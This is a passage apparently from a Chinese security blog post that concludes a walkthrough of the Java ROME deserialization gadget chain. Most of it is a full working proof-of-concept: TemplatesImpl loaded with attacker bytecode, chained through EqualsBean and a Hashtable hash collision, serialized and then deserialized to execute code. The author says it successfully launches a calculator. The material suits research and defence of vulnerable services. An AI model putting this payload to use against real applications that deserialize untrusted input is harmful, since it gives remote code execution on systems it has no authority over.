也就是说这里调用equals()方法后最后返回的是false,成功放入了第二个键值对,不会覆盖:

非常妙,同时传入fupanc,是为了让equalsBean能够成功实例化:

所以最终POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
EqualsBean bean = new EqualsBean(String.class,"fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
hash.put(hashMap0,1);
hash.put(hashMap1,1);
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",impl);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功按照预期弹出一个计算机,调试也没问题。
OK,ROME链完结。